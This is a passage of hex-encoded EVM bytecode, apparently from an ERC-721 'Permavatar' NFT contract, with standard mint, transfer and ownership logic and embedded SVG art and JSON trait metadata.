0a01b0316610d68565b3480156104a757600080fd5b506102f2610dd0565b3480156104bc57600080fd5b50610328610e61565b3480156104d157600080fd5b5061029d610eb1565b3480156104e657600080fd5b506101d5610ec0565b3480156104fb57600080fd5b506101fe610ee6565b34801561051057600080fd5b506102f26004803603604081101561052757600080fd5b506001600160a01b0381351690602001351515610f47565b34801561054b57600080fd5b506102f26004803603602081101561056257600080fd5b50356001600160a01b031661104c565b34801561057e57600080fd5b506102f26004803603608081101561059557600080fd5b6001600160a01b038235811692602081013590911691604082013591908101906080810160608201356401000000008111156105d057600080fd5b8201836020820111156105e257600080fd5b8035906020019184600183028401116401000000008311171561060457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506110b5945050505050565b34801561065157600080fd5b506101fe6004803603602081101561066857600080fd5b5035611113565b34801561067b57600080fd5b506101d56004803603604081101561069257600080fd5b506001600160a01b038135811691602001351661214f565b3480156106b657600080fd5b506102f2600480360360208110156106cd57600080fd5b50356001600160a01b031661217d565b3480156106e957600080fd5b506102f26004803603602081101561070057600080fd5b50356121cd565b6001600160e01b0319811660009081526020819052604090205460ff165b919050565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107b65780601f1061078b576101008083540402835291602001916107b6565b820191906000526020600020905b81548152906001019060200180831161079957829003601f168201915b505050505090505b90565b60006107cc82612219565b6108075760405162461bcd60e51b815260040180806020018281038252602c815260200180615023602c913960400191505060405180910390fd5b506000908152600260205260409020546001600160a01b031690565b600061082e82610c54565b9050806001600160a01b0316836001600160a01b031614156108815760405162461bcd60e51b81526004018080602001828103825260218152602001806155cd6021913960400191505060405180910390fd5b806001600160a01b0316610893612236565b6001600160a01b031614806108b457506108b4816108af612236565b61214f565b6108ef5760405162461bcd60e51b8152600401808060200182810382526038815260200180614e6b6038913960400191505060405180910390fd5b60008281526002602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b610953610ec0565b610992576040805162461bcd60e51b81526020600482018190526024820152600080516020615077833981519152604482015290519081900360640190fd5b600c8054911515600160a01b0260ff60a01b19909216919091179055565b600c54600090600160a01b900460ff16156109fe576040805162461bcd60e51b81526020600482015260096024820152682493b6903232b0b21760b91b604482015290519081900360640190fd5b600b5415610a4b57600b54341015610a4b576040805162461bcd60e51b815260206004820152600b60248201526a2493b690343ab733b93c9760a91b604482015290519081900360640190fd5b610a55600a61223a565b6000610a61600a612243565b905061270f811115610aa6576040805162461bcd60e51b81526020600482015260096024820152682493b690333ab6361760b91b604482015290519081900360640190fd5b6000818152600d6020526040902080546001600160a01b03191633908117909155610ad19082612247565b600c546001600160a01b031615610b2057600c54600b546040516001600160a01b039092169181156108fc0291906000818181858888f19350505050158015610b1e573d6000803e3d6000fd5b505b905090565b610b36610b30612236565b82612265565b610b715760405162461bcd60e51b81526004018080602001828103825260318152602001806158c36031913960400191505060405180910390fd5b610b7c838383612309565b505050565b610b7c838383604051806020016040528060008152506110b5565b610ba7610b30612236565b610be25760405162461bcd60e51b8152600401808060200182810382526030815260200180615f066030913960400191505060405180910390fd5b610beb8161244d565b50565b6000610b20600a612243565b6000610c04610ec0565b610c43576040805162461bcd60e51b81526020600482018190526024820152600080516020615077833981519152604482015290519081900360640190fd5b50600c54600160a01b900460ff1690565b6000818152600160205260408120546001600160a01b031680610ca85760405162461bcd60e51b8152600401808060200182810382526029815260200180614ecd6029913960400191505060405180910390fd5b92915050565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107b65780601f1061078b576101008083540402835291602001916107b6565b6000610d19610ec0565b610d58576040805162461bcd60e51b81526020600482018190526024820152600080516020615077833981519152604482015290519081900360640190fd5b50600c546001600160a01b031690565b60006001600160a01b038216610daf5760405162461bcd60e51b815260040180806020018281038252602a815260200180614ea3602a913960400191505060405180910390fd5b6001600160a01b0382166000908152600360205260409020610ca890612243565b610dd8610ec0565b610e17576040805162461bcd60e51b81526020600482018190526024820152600080516020615077833981519152604482015290519081900360640190fd5b6009546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600980546001600160a01b0319169055565b6000610e6b610ec0565b610eaa576040805162461bcd60e51b81526020600482018190526024820152600080516020615077833981519152604482015290519081900360640190fd5b50600b5490565b6009546001600160a01b031690565b6009546000906001600160a01b0316610ed7612236565b6001600160a01b031614905090565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107b65780601f1061078b576101008083540402835291602001916107b6565b610f4f612236565b6001600160a01b0316826001600160a01b03161415610fb5576040805162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015290519081900360640190fd5b8060046000610fc2612236565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155611006612236565b60408051841515815290516001600160a01b0392909216917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c319181900360200190a35050565b611054610ec0565b611093576040805162461bcd60e51b81526020600482018190526024820152600080516020615077833981519152604482015290519081900360640190fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6110c66110c0612236565b83612265565b6111015760405162461bcd60e51b81526004018080602001828103825260318152602001806158c36031913960400191505060405180910390fd5b61110d8484848461245f565b50505050565b6000818152600d60209081526040918290205482516101a0810190935261016a8084526060936001600160a01b039092169284928392909161460990830139604080516911105492d7d31251d21560b21b60208201526001600160601b0319606087901b16602a820152603e80820189905282518083039091018152605e9091019091529091506000906111a89060026124b1565b90506111b2613d24565b6111ba613d24565b6111c2613d24565b836112bf576040805169434f4c4f525f424f445960b01b60208201526001600160601b031960608a901b16602a820152603e8082018c905282518083039091018152605e90910190915261121590612534565b6040805169434f4c4f525f4559455360b01b60208201526001600160601b031960608b901b16602a820152603e8082018d905282518083039091018152605e90910190915290935061126690612688565b604080516a0869e989ea4be9a9eaaa8960ab1b60208201526001600160601b031960608b901b16602b820152603f8082018d905282518083039091018152605f9091019091529092506112b890612688565b90506113b3565b6040805169434f4c4f525f424f445960b01b60208201526001600160601b031960608a901b16602a820152603e8082018c905282518083039091018152605e90910190915261130d906128d8565b6040805169434f4c4f525f4559455360b01b60208201526001600160601b031960608b901b16602a820152603e8082018d905282518083039091018152605e90910190915290935061135e90612a16565b604080516a0869e989ea4be9a9eaaa8960ab1b60208201526001600160601b031960608b901b16602b820152603f8082018d905282518083039091018152605f9091019091529092506113b090612a16565b90505b6113bb613d24565b604080516950415254535f424f445960b01b60208201526001600160601b031960608b901b16602a820152603e8082018d905282518083039091018152605e90910190915261140990612c5c565b905085846000602002015182600160200201516040516020018084805190602001908083835b6020831061144e5780518252601f19909201916020918201910161142f565b51815160209384036101000a60001901801990921691161790526e1e339039ba3cb6329e913334b6361d60891b919093019081528551600f90910192860191508083835b602083106114b15780518252601f199092019160209182019101611492565b51815160209384036101000a60001901801990921691161790527f2220636c69702d706174683d2275726c2823636c69702d6c65667429223e0000919093019081528451601e90910192850191508083835b602083106115225780518252601f199092019160209182019101611503565b6001836020036101000a03801982511681845116808217855250505050505090500180631e17b39f60e11b81525060040193505050506040516020818303038152906040529550858460016002811061157757fe5b602002015182600160200201516040516020018084805190602001908083835b602083106115b65780518252601f199092019160209182019101611597565b51815160209384036101000a60001901801990921691161790526e1e339039ba3cb6329e913334b6361d60891b919093019081528551600f90910192860191508083835b602083106116195780518252601f1990920191602091820191016115fa565b51815160209384036101000a60001901801990921691161790527f2220636c69702d706174683d2275726c2823636c69702d726967687429223e00919093019081528451601f90910192850191508083835b6020831061168a5780518252601f19909201916020918201910161166b565b6001836020036101000a03801982511681845116808217855250505050505090500180631e17b39f60e11b815250600401935050505060405160208183030381529060405295506116d9613d24565b604080516950415254535f4559455360b01b60208201526001600160601b031960608c901b16602a820152603e8082018e905282518083039091018152605e90910190915261172790612efb565b905086846000602002015182600160200201516040516020018084805190602001908083835b6020831061176c5780518252601f19909201916020918201910161174d565b51815160209384036101000a60001901801990921691161790526e1e339039ba3cb6329e913334b6361d60891b919093019081528551600f90910192860191508083835b602083106117cf5780518252601f1990920191602091820191016117b0565b51815160209384036101000a60001901801990921691161790527f2220636c69702d706174683d2275726c2823636c69702d6c65667429223e0000919093019081528451601e90910192850191508083835b602083106118405780518252601f199092019160209182019101611821565b6001836020036101000a03801982511681845116808217855250505050505090500180631e17b39f60e11b81525060040193505050506040516020818303038152906040529650868460016002811061189557fe5b602002015182600160200201516040516020018084805190602001908083835b602083106118d45780518252601f1990920191602091820191016118b5565b51815160209384036101000a60001901801990921691161790526e1e339039ba3cb6329e913334b6361d60891b919093019081528551600f90910192860191508083835b602083106119375780518252601f199092019160209182019101611918565b51815160209384036101000a60001901801990921691161790527f2220636c69702d706174683d2275726c2823636c69702d726967687429223e00919093019081528451601f90910192850191508083835b602083106119a85780518252601f199092019160209182019101611989565b6001836020036101000a03801982511681845116808217855250505050505090500180631e17b39f60e11b815250600401935050505060405160208183030381529060405296506119f7613d24565b604080516a0a082a4a8a6be9a9eaaa8960ab1b60208201526001600160601b031960608d901b16602b820152603f8082018f905282518083039091018152605f909101909152611a46906131ab565b905087846000602002015182600160200201516040516020018084805190602001908083835b60208310611a8b5780518252601f199092019160209182019101611a6c565b51815160209384036101000a60001901801990921691161790526e1e339039ba3cb6329e913334b6361d60891b919093019081528551600f90910192860191508083835b60208310611aee5780518252601f199092019160209182019101611acf565b51815160209384036101000a60001901801990921691161790527f2220636c69702d706174683d2275726c2823636c69702d6c65667429223e0000919093019081528451601e90910192850191508083835b60208310611b5f5780518252601f199092019160209182019101611b40565b6001836020036101000a03801982511681845116808217855250505050505090500180631e17b39f60e11b815250600401935050505060405160208183030381529060405297508784600160028110611bb457fe5b602002015182600160200201516040516020018084805190602001908083835b60208310611bf35780518252601f199092019160209182019101611bd4565b51815160209384036101000a60001901801990921691161790526e1e339039ba3cb6329e913334b6361d60891b919093019081528551600f90910192860191508083835b60208310611c565780518252601f199092019160209182019101611c37565b51815160209384036101000a60001901801990921691161790527f2220636c69702d706174683d2275726c2823636c69702d726967687429223e00919093019081528451601f90910192850191508083835b60208310611cc75780518252601f199092019160209182019101611ca8565b6001836020036101000a03801982511681845116808217855250505050505090500180631e17b39f60e11b81525060040193505050506040516020818303038152906040529750876040518060400160405280600c81526020016b1e17b9bb339f1e17b9bb339f60a11b8152506040516020018083805190602001908083835b60208310611d665780518252601f199092019160209182019101611d47565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310611dae5780518252601f199092019160209182019101611d8f565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052975088611def8d613451565b611df88a613504565b85518551855160208c810151604051885191929081019182918a01908083835b60208310611e375780518252601f199092019160209182019101611e18565b51815160209384036101000a6000190180199092169116179052757b226e616d65223a20225065726d617661746172202360501b9190930190815289516016909101928a0191508083835b60208310611ea15780518252601f199092019160209182019101611e82565b6001836020036101000a03801982511681845116808217855250505050505090500180614ef660c8913960c80186805190602001908083835b60208310611ef95780518252601f199092019160209182019101611eda565b6001836020036101000a038019825116818451168082178552505050505050905001806148446033913960330185805190602001908083835b60208310611f515780518252601f199092019160209182019101611f32565b6001836020036101000a038019825116818451168082178552505050505050905001806142576024913960240184805190602001908083835b60208310611fa95780518252601f199092019160209182019101611f8a565b6001836020036101000a03801982511681845116808217855250505050505090500180614ffe6025913960250183805190602001908083835b602083106120015780518252601f199092019160209182019101611fe2565b6001836020036101000a038019825116818451168082178552505050505050905001806148d86025913960250182805190602001908083835b602083106120595780518252601f19909201916020918201910161203a565b6001836020036101000a0380198251168184511680821785525050505050509050018063227d5d7d60e01b81525060040197505050505050505060405160208183030381529060405298506120ad89613504565b60405160200180807f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815250601d0182805190602001908083835b602083106121075780518252601f1990920191602091820191016120e8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040529850889a5050505050505050505050919050565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205460ff1690565b612185610ec0565b6121c4576040805162461bcd60e51b81526020600482018190526024820152600080516020615077833981519152604482015290519081900360640190fd5b610beb8161363b565b6121d5610ec0565b612214576040805162461bcd60e51b81526020600482018190526024820152600080516020615077833981519152604482015290519081900360640190fd5b600b55565b6000908152600160205260409020546001600160a01b0316151590565b3390565b80546001019055565b5490565b6122618282604051806020016040528060008152506136dc565b5050565b600061227082612219565b6122ab5760405162461bcd60e51b815260040180806020018281038252602c815260200180614df6602c913960400191505060405180910390fd5b60006122b683610c54565b9050806001600160a01b0316846001600160a01b031614806122f15750836001600160a01b03166122e6846107c1565b6001600160a01b0316145b806123015750612301818561214f565b949350505050565b826001600160a01b031661231c82610c54565b6001600160a01b0316146123615760405162461bcd60e51b81526004018080602001828103825260298152602001806150976029913960400191505060405180910390fd5b6001600160a01b0382166123a65760405162461bcd60e51b81526004018080602001828103825260248152602001806148776024913960400191505060405180910390fd5b6123af8161372e565b6001600160a01b03831660009081526003602052604090206123d090613769565b6001600160a01b03821660009081526003602052604090206123f19061223a565b60008181526001602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610beb61245982610c54565b82613780565b61246a848484612309565b612476848484846137c8565b61110d5760405162461bcd60e51b81526004018080602001828103825260328152602001806141b56032913960400191505060405180910390fd5b600081836040516020018082805190602001908083835b602083106124e75780518252601f1990920191602091820191016124c8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040528051906020012060001c8161252c57fe5b069392505050565b61253c613d24565b612544613d4b565b506040805161010081018252600760c08201818152662336313631363160c81b60e084015260808084019182528451808601865283815266119a191a191a1960c91b60208281019190915260a086019190915291845284518082018652808601848152662331653838653560c81b606083810191909152908252865180880188528581526611989c9b9b321960c91b81860152828501528386019190915285518083018752808701858152662330333962653560c81b82840152815286518088018852858152662330323838643160c81b81860152818501528587015285519182018652818601848152662330306163633160c81b8383015282528551808701909652928552662330303937613760c81b8583015290810193909352810191909152806126728460046124b1565b6004811061267c57fe5b60200201519392505050565b612690613d24565b612698613d78565b50604080516101808101825260076101408201818152662365353733373360c81b610160840152610100830190815283518085018552828152660236566353335360cc1b6020828101919091526101208501919091529083528351608080820186528186018481526611b3181b191c9960c91b60608481019190915290835286518088018852858152662365633430376160c81b81860152838501528386019290925285518082018752808701858152662364636537373560c81b82850152815286518088018852858152662364346531353760c81b818601528185015285870152855180820187528087018581526611b33333189b9b60c91b8285015281528651808801885285815266046cccccaca6a760cb1b818601528185015282860152855180820187528087018581526611b333321a9a3360c91b8285015281528651808801885285815266046ccccc6c264760cb1b818601528185015281860152855180820187528087018581526608d999988dcd1960ca1b828501528152865180880188528581526611b333309b991b60c91b818601528185015260a086015285518082018752808701858152662366663861363560c81b82850152815286518088018852858152662366663730343360c81b818601528185015260c086015285519081018652808601848152662365656565656560c81b928201929092529081528451808601909552918452660236530653065360cc1b8482015281019290925260e0810191909152806128ce8460086124b1565b6008811061267c57fe5b6128e0613d24565b6128e8613d4b565b506040805161010081018252600760c08201818152662366646438333560c81b60e08401526080808401918252845180860186528381526608d99898cc0c9960ca1b60208281019190915260a086019190915291845284518082018652808601848152660236666623330360cc1b60608381019190915290825286518088018852858152660236666613030360cc1b81860152828501528386019190915285518083018752808701858152660236662386330360cc1b82840152815286518088018852858152660236635376330360cc1b81860152818501528587015285519182018652818601848152662366343531316560c81b8383015282528551808701909652928552662365363461313960c81b8583015290810193909352810191909152806126728460046124b1565b612a1e613d24565b612a26613d78565b5060408051610180810182526007610140820181815266046c4c26c70c6760cb1b610160840152610100830190815283518085018552828152662361623437626360c81b6020828101919091526101208501919091529083528351608080820186528186018481526608ce4d4dcd58d960ca1b6060848101919091529083528651808801885285815266119bb29a9bb19960c91b8186015283850152838601929092528551808201875280870185815266119b9c9c1b31b160c91b82850152815286518088018852858152660233563366263360cc1b8186015281850152858701528551808201875280870185815266119b1a311ab31b60c91b82850152815286518088018852858152662334326135663560c81b81860152818501528286015285518082018752808701858152662334666333663760c81b828501528152865180880188528581526611991cb11b331b60c91b81860152818501528186015285518082018752808701858152662334646430653160c81b82850152815286518088018852858152662332366336646160c81b818601528185015260a086015285518082018752808701858152662334646236616360c81b82850152815286518088018852858152662332366136396160c81b818601528185015260c086015285519081018652808601848152662336313631363160c81b92820192909252908152845180860190955291845266119a191a191a1960c91b8482015281019290925260e0810191909152806128ce8460086124b1565b612c64613d24565b612c6c613d78565b60408051610180810182526006610140820190815265436972636c6560d01b61016083015261010082019081528251606081019093526028808452919283926101208401919061504f6020830139815250815260200160405180604001604052806040518060400160405280600581526020016443726f737360d81b8152508152602001604051806080016040528060498152602001614e2260499139815250815260200160405180604001604052806040518060400160405280600481526020016310995b1b60e21b8152508152602001604051806102a0016040528061027681526020016155ee610276913981525081526020016040518060400160405280604051806040016040528060018152602001600b60fb1b815250815260200160405180610100016040528060d1815260200161477360d19139815250815260200160405180604001604052806040518060400160405280600581526020016411da1bdcdd60da1b815250815260200160405180610100016040528060c7815260200161454260c7913981525081526020016040518060400160405280604051806040016040528060078152602001662837b63cb3b7b760c91b81525081526020016040518060a00160405280607d81526020016150c0607d9139815250815260200160405180604001604052806040518060400160405280600581526020016414dadd5b1b60da1b81525081526020016040518060a00160405280606d8152602001615f36606d91398152508152602001604051806040016040528060405180604001604052806009815260200168151c985c195e9bda5960ba1b81525081526020016040518060800160405280604a815260200161420d604a9139905290529050806128ce8460086124b1565b612f03613d24565b612f0b613d78565b604080516101808101825260046101408201908152634579657360e01b610160830152610100820190815282516101a081019093526101768084529192839261012084019190615b3a6020830139815250815260200160405180604001604052806040518060400160405280600581526020016444697a7a7960d81b815250815260200160405180610180016040528061015a815260200161513d61015a91398152508152602001604051806040016040528060405180604001604052806007815260200166476c617373657360c81b81525081526020016040518061030001604052806102c7815260200161427b6102c79139815250815260200160405180604001604052806040518060400160405280600381526020016245796560e81b8152508152602001604051806101a0016040528061017b81526020016148fd61017b9139815250815260200160405180604001604052806040518060400160405280600881526020016753756e676c61737360c01b815250815260200160405180610160016040528061013b81526020016159ff61013b9139815250815260200160405180604001604052806040518060400160405280600581526020016420b634b2b760d91b81525081526020016040518061026001604052806102318152602001615cb0610231913981525081526020016040518060400160405280604051806040016040528060058152602001642232b6b7b760d91b81525081526020016040518061030001604052806102d88152602001614b1e6102d89139815250815260200160405180604001604052806040518060400160405280600781526020016613995d5d1c985b60ca1b81525081526020016040518060600160405280603d815260200161489b603d9139905290529050806128ce8460086124b1565b6131b3613d24565b6131bb613d78565b60408051610180810182526005610140820190815264536d696c6560d81b6101608301526101008201908152825160808101909352605f808452919283926101208401919061586460208301398152508152602001604051806040016040528060405180604001604052806005815260200164416e67727960d81b8152508152602001604051806080016040528060598152602001613e8760599139815250815260200160405180604001604052806040518060400160405280600981526020016814dd5c9c1c9a5cd95960ba1b81525081526020016040518060c0016040528060878152602001613e0060879139815250815260200160405180604001604052806040518060400160405280600781526020016656616d7069726560c81b81525081526020016040518060e0016040528060a68152602001614a7860a691398152508152602001604051806040016040528060405180604001604052806005815260200164149bd89bdd60da1b8152508152602001604051806102c001604052806102968152602001615297610296913981525081526020016040518060400160405280604051806040016040528060048152602001634d61736b60e01b815250815260200160405180610140016040528061010b81526020016158f461010b913981525081526020016040518060400160405280604051806040016040528060068152602001652d34b83832b960d11b81525081526020016040518061030001604052806102d58152602001613ee06102d59139815250815260200160405180604001604052806040518060400160405280600481526020016346616e6760e01b81525081526020016040518060c0016040528060a0815260200161552d60a09139905290529050806128ce8460086124b1565b60608161347657506040805180820190915260018152600360fc1b6020820152610725565b8160005b811561348e57600101600a8204915061347a565b6060816040519080825280601f01601f1916602001820160405280156134bb576020820181803883390190505b5090505b84156123015760001990910190600a850660300160f81b8183815181106134e257fe5b60200101906001600160f81b031916908160001a905350600a850494506134bf565b60608151600014156135255750604080516020810190915260008152610725565b6060604051806060016040528060408152602001614fbe6040913990506000600384516002018161355257fe5b0460040290506060816020016040519080825280601f01601f191660200182016040528015613588576020820181803883390190505b509050818152600183018586518101602084015b818310156135f65760039283018051603f601282901c811687015160f890811b8552600c83901c8216880151811b6001860152600683901c8216880151811b60028601529116860151901b9382019390935260040161359c565b60038951066001811461361057600281146136215761362d565b613d3d60f01b60011983015261362d565b603d60f81b6000198301525b509398975050505050505050565b6001600160a01b0381166136805760405162461bcd60e51b81526004018080602001828103825260268152602001806141e76026913960400191505060405180910390fd5b6009546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6136e68383613a03565b6136f360008484846137c8565b610b7c5760405162461bcd60e51b81526004018080602001828103825260328152602001806141b56032913960400191505060405180910390fd5b6000818152600260205260409020546001600160a01b031615610beb57600090815260026020526040902080546001600160a01b0319169055565b805461377c90600163ffffffff613b3416565b9055565b61378a8282613b7d565b600081815260086020526040902054600260001961010060018416150201909116041561226157600081815260086020526040812061226191613da6565b60006137dc846001600160a01b0316613c54565b6137e857506001612301565b600060606001600160a01b038616630a85bd0160e11b613806612236565b89888860405160240180856001600160a01b03166001600160a01b03168152602001846001600160a01b03166001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561387f578181015183820152602001613867565b50505050905090810190601f1680156138ac5780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529181526020820180516001600160e01b03166001600160e01b0319909a16999099178952518151919890975087965094509250829150849050835b602083106139145780518252601f1990920191602091820191016138f5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613976576040519150601f19603f3d011682016040523d82523d6000602084013e61397b565b606091505b5091509150816139cc578051156139955780518082602001fd5b60405162461bcd60e51b81526004018080602001828103825260328152602001806141b56032913960400191505060405180910390fd5b60008180602001905160208110156139e357600080fd5b50516001600160e01b031916630a85bd0160e11b14935061230192505050565b6001600160a01b038216613a5e576040805162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015290519081900360640190fd5b613a6781612219565b15613ab9576040805162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015290519081900360640190fd5b600081815260016020908152604080832080546001600160a01b0319166001600160a01b038716908117909155835260039091529020613af89061223a565b60405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000613b7683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613c8d565b9392505050565b816001600160a01b0316613b9082610c54565b6001600160a01b031614613bd55760405162461bcd60e51b8152600401808060200182810382526025815260200180615ee16025913960400191505060405180910390fd5b613bde8161372e565b6001600160a01b0382166000908152600360205260409020613bff90613769565b60008181526001602052604080822080546001600160a01b0319169055518291906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590612301575050151592915050565b60008184841115613d1c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613ce1578181015183820152602001613cc9565b50505050905090810190601f168015613d0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60405180604001604052806002905b6060815260200190600190039081613d335790505090565b60405180608001604052806004905b613d62613d24565b815260200190600190039081613d5a5790505090565b6040518061010001604052806008905b613d90613d24565b815260200190600190039081613d885790505090565b50805460018160011615610100020316600290046000825580601f10613dcc5750610beb565b6000918252602091829020610beb926107be92601f01048101905b80821115613dfb5760008155600101613de7565b509056fe3c7061746820643d226d2031322c3137206320302e38332c3020312e352c2d302e363720312e352c2d312e3520302c2d302e3833202d302e36372c2d312e35202d312e352c2d312e35202d302e38332c30202d312e352c302e3637202d312e352c312e3520302c302e383320302e36372c312e3520312e352c312e35207a223e3c2f706174683e3c7061746820643d226d2031322c3134206320322e33332c3020342e33312c312e343620352e31312c332e35204820362e3839204320372e36392c31352e343620392e36372c31342031322c3134205a223e3c2f706174683e3c7061746820643d224d20372e352c3135204320372e3232332c313520372c31352e32323320372c31352e352056203136204820362e35204320362e3232332c313620362c31362e32323320362c31362e3520362c31362e37373720362e3232332c313720362e352c313720482037207620302e35204320372c31372e37373720372e3232332c313820372e352c313820372e3737372c313820382c31372e37373720382c31372e35205620313720682032207620302e35206320302c302e32373720302e3232332c302e3520302e352c302e3520302e3237372c3020302e352c2d302e32323320302e352c2d302e35205620313720682032207620302e35206320302c302e32373720302e3232332c302e3520302e352c302e3520302e3237372c3020302e352c2d302e32323320302e352c2d302e35205620313720682032207620302e35206320302c302e32373720302e3232332c302e3520302e352c302e3520302e3237372c3020302e352c2d302e32323320302e352c2d302e352056203137206820302e3520432031372e3737372c31372031382c31362e3737372031382c31362e352031382c31362e3232332031372e3737372c31362031372e352c3136204820313720562031352e3520432031372c31352e3232332031362e3737372c31352031362e352c31352031362e3232332c31352031362c31352e3232332031362c31352e352056203136204820313420562031352e3520432031342c31352e3232332031332e3737372c31352031332e352c31352031332e3232332c31352031332c31352e3232332031332c31352e352056203136204820313120562031352e3520432031312c31352e3232332031302e3737372c31352031302e352c31352031302e3232332c31352031302c31352e3232332031302c31352e3520562031362048203820562031352e35204320382c31352e32323320372e3737372c313520372e352c3135205a223e3c2f706174683e4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573733c7061746820643d224d20372c3220362c3620482032206c20322c38202d322c382048203232204c2032302c31342032322c362048203138204c2031372c32205a223e3c2f706174683e227d2c7b2274726169745f74797065223a202245796573222c202276616c7565223a20223c7061746820643d224d2031352e352c3720432031342e3131363636372c372031332c382e313136363636372031332c392e352031332c31302e3838333333332031342e3131363636372c31322031352e352c31322031362e3838333333332c31322031382c31302e3838333333332031382c392e352031382c382e313136363636372031362e3838333333332c372031352e352c37205a206d20302c3120432031362e33332c382031372c382e36372031372c392e352031372c31302e33332031362e33332c31312031352e352c31312031342e36372c31312031342c31302e33332031342c392e352031342c382e36372031342e36372c382031352e352c38205a223e3c2f706174683e3c7061746820643d224d20382e352c37204320372e3131363636372c3720362c382e3131363636363720362c392e3520362c31302e38383333333320372e3131363636372c313220382e352c313220392e3838333333332c31322031312c31302e3838333333332031312c392e352031312c382e3131363636363720392e3838333333332c3720382e352c37205a206d20302c31204320392e33332c382031302c382e36372031302c392e352031302c31302e333320392e33332c313120382e352c313120372e36372c313120372c31302e333320372c392e3520372c382e363720372e36372c3820382e352c38205a223e3c2f706174683e3c7061746820643d226d2031322c382063202d302e3938393439332c30202d312e383131322c302e383537363632202d322c32206820302e37353333313520432031302e3933353839342c392e3431383330322031312e3436363339392c392031322c39206320302e3533333630312c3020312e3036343130362c302e34313833303220312e3234363638352c31204820313420432031332e383131322c382e3835373636322031322e3938393439332c382031322c38205a223e3c2f706174683e3c7061746820643d224d20342c3220352e353937363536322c392e3938383238313220312e303530373831322c31342e35333531353620322e343634383433382c31352e39343932313920362e303638333539342c31322e33343537303320382c323220682038206c20312e3933313634312c2d392e36353432393720332e3630333531352c332e36303335313620312e3431343036332c2d312e343134303633204c2031382e3430323334342c392e393838323831322032302c32205a223e3c2f706174683e3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f737667222076696577426f783d22302030203234203234222077696474683d2236303022206865696768743d22363030223e3c646566733e3c636c6970506174682069643d22636c69702d6c656674223e3c726563742077696474683d22313322206865696768743d2232342220783d22302220793d2230223e3c2f726563743e3c2f636c6970506174683e3c636c6970506174682069643d22636c69702d7269676874223e3c726563742077696474683d22313222206865696768743d2232342220783d2231322220793d2230223e3c2f726563743e3c2f636c6970506174683e3c2f646566733e3c726563742077696474683d2236303022206865696768743d22363030222066696c6c3d222336313833666122206f7061636974793d22302e32223e3c2f726563743e3c7376672076696577426f783d222d33202d33203330203330223e3c7061746820643d224d2031342e3434343434342c302e39393939393939342031322c332e3434343434343420392e353535353535362c302e393939393939393420302e39393939393939342c392e3535353535353620332e343434343434342c313220302e39393939393939342c31342e34343434343420392e353535353535362c32332031322c32302e3535353535362031342e3434343434342c32332032332c31342e3434343434342032302e3535353535362c31322032332c392e35353535353536205a223e3c2f706174683e222c202261747472696275746573223a205b7b2274726169745f74797065223a2022426f6479222c202276616c7565223a20224552433732313a207472616e7366657220746f20746865207a65726f20616464726573733c726563742077696474683d22313422206865696768743d22332220783d22352220793d2238222072783d2231222072793d2231223e3c2f726563743e227d2c7b2274726169745f74797065223a2022436f6c6f72222c202276616c7565223a20223c7061746820643d224d2031322c362e35204120372c3720302030203020362e323631373138382c392e34393431343120372c372030203020302031322c31322e3520372c372030203020302031372e3733383238312c392e35303538353920372c372030203020302031322c362e35205a204d2031322c37206320312e3338333333332c3020322e352c312e31313636363720322e352c322e3520432031342e352c31302e3838333333332031332e3338333333332c31322031322c31322031302e3631363636372c313220392e352c31302e38383333333320392e352c392e3520392e352c382e3131363636372031302e3631363636372c372031322c37205a206d20302c312063202d302e38332c30202d312e352c302e3637202d312e352c312e3520302c302e383320302e36372c312e3520312e352c312e3520302e38332c3020312e352c2d302e363720312e352c2d312e3520432031332e352c382e36372031322e38332c382031322c38205a223e3c2f706174683e3c7061746820643d226d2031322c31372e35206320322e33332c3020342e33312c2d312e343620352e31312c2d332e35204820362e3839206320302e382c322e303420322e37382c332e3520352e31312c332e35207a223e3c2f706174683e3c7061746820643d226d20382c313520312c